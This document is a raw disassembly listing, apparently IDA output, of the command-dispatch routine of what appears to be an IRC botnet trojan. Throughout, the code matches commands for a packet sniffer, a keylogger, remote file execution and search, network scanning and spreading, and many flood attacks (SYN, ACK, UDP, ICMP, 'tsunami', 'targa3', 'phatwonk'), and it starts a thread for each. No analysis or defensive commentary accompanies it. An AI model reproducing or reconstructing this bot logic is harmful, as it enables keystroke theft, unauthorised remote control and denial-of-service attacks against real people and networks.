		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B874
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B848
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B820
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_2 ; "#f"
		push	offset byte_43D7E8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B7F0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B7B4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B774
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B744
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B71C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B6F0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4101FC
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E584[esi], eax
		jnz	loc_40828B
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B6BC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42B684
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42B664
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42B618
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42B5EC
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42B5CC
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43D7E8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset sub_411CF4
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B56C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB704, ebx
		jz	short loc_40604E
		cmp	dword_4CB72C, ebx
		jz	short loc_40604E
		push	offset unk_42B530
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42B504
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42B4E4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_4	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42B49C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42B47C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42B45C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42B43C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42B410
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42B3F4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42BBC8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC_0	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset sub_4146CE
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B264
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B21C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset sub_413626
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B1E0
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
